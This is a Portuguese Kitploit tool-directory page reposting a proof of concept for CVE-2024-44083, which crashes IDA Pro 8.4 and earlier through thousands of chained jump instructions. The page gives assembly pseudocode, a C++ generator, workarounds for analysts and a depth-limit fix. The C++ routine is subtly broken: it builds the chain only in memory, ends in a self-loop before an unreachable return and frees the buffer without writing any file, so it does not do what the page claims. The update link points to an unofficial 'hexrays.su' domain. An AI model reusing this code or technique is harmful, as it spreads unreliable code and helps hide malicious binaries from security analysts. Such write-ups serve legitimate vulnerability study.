Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-44083 — meu PoC do CVE-2024-44083. | Kitploit
Ferramentas/GitHubGitHub/dynamicx64/cve-2024-44083
Análise de VulnerabilidadesExploraçãoEngenharia ReversaFuzzingAnálise de BináriosAprendizado e Educação
GitHubdynamicx64/cve-2024-44083

CVE-2024-44083

meu PoC do CVE-2024-44083.

Ver Repositório
1há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-44083

os repositórios originais do PoC foram deletados (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme), então aqui está. resolvi recriá-lo para quem quiser entender como funciona ou testar sua configuração.

O IDA Pro ≤ 8.4 trava ao analisar binários com cadeias excessivas de saltos.

o bug

ida64.dll não limita o quão fundo ele vai ao seguir cadeias de saltos. então, se você tem um binário com milhares de saltos encadeados terminando no ponto de entrada, o IDA simplesmente se mata

campovalor
CVECVE-2024-44083
afetadoIDA Pro ≤ 8.4
componenteida64.dll
CWECWE-770 (esgotamento de recursos)
impactotravamento (DoS)

como funciona

a ideia é simples: criar uma seção cheia de saltos que ficam pulando para mais saltos

root@kitploit:~
; pseudocode obviously

section .text

; thousands of these
jump_0:
    jmp jump_1
jump_1:
    jmp jump_2
jump_2:
    jmp jump_3
; ... keep going ...
jump_9999:
    jmp payload

payload:
    call _start    ; this creates the cross-reference that breaks things

_start:
    ; IDA tries to resolve all the jumps pointing here
    ; boom crash
    ret

O IDA tenta seguir e rastrear todos esses saltos construindo referências cruzadas e, com quantidade suficiente deles, ele simplesmente desiste e trava.

fazendo você mesmo (exemplo)

se você quisesse fazer algo assim em c++, você faria algo como:

root@kitploit:~

#include <windows.h>
#include <cstring>

// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
    // allocate executable memory for our jump chain
    unsigned char* code = (unsigned char*)VirtualAlloc(
        NULL,
        10000 * 5 + 10,  // 10,000 jumps × 5 bytes + some extra
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!code) return;
    
    int offset = 0;
    
    // create 10,000 chained jumps
    for (int i = 0; i < 10000; i++) {
        // write JMP rel32 instruction (E9 xx xx xx xx)
        code[offset] = 0xE9;  // JMP opcode
        
        // calculate relative offset to next jump (5 bytes ahead)
        int32_t rel = 5;
        
        // copy the 4-byte relative offset
        memcpy(&code[offset + 1], &rel, 4);
        
        offset += 5;
    }
    
    // last jump creates circular reference
    // jump back 5 bytes to create infinite loop
    code[offset] = 0xE9;
    int32_t rel = -5;
    memcpy(&code[offset + 1], &rel, 4);
    
    // you can also return a value to make it believeable
    offset += 5;
    code[offset] = 0xC3;  // ret
    
    // this is the pattern that crashes IDA:
    // 10,000 jumps → self-referential jump → IDA gets stuck
    // no depth limit in recursion → stack overflow → crash
    
    // cleanup
    VirtualFree(code, 0, MEM_RELEASE);
}

basicamente você está apenas escrevendo um monte de instruções JMP encadeadas. quando o IDA tenta ser esperto ao analisar isso, ele fica sem pilha/memória.

a correção

se você está preso em um IDA mais antigo:

  1. desative a análise automática antes de abrir arquivos suspeitos

    • clique no círculo amarelo/verde na barra de ferramentas para desativá-lo
    • ou em Options → General → Analysis → desmarque "Enabled"
    • examine manualmente primeiro e reative se parecer seguro
  2. limite a análise em seções suspeitas

    • clique com o botão direito na seção → Edit segment
    • altere o tipo ou as permissões do segmento para impedir a análise de código
    • ou simplesmente exclua o segmento inteiro se não precisar dele

o que a hex-rays deveria fazer:

root@kitploit:~
// pseudocode

#define MAX_JUMP_DEPTH 1000

void analyze_jumps(address_t addr, int depth) {
    if (depth > MAX_JUMP_DEPTH) {
        warn("jump chain too deep. fail.");
        return;  // dont crash just stop
    }
    
    address_t target = get_jump_target(addr);
    if (target) {
        analyze_jumps(target, depth + 1);
    }
}

literalmente, basta adicionar um limite de profundidade, só isso.

referências

  • NVD
  • hexrays.su <-- para atualizar seu ida

aviso

apenas para fins educacionais, não seja um babaca.

Baixar ferramenta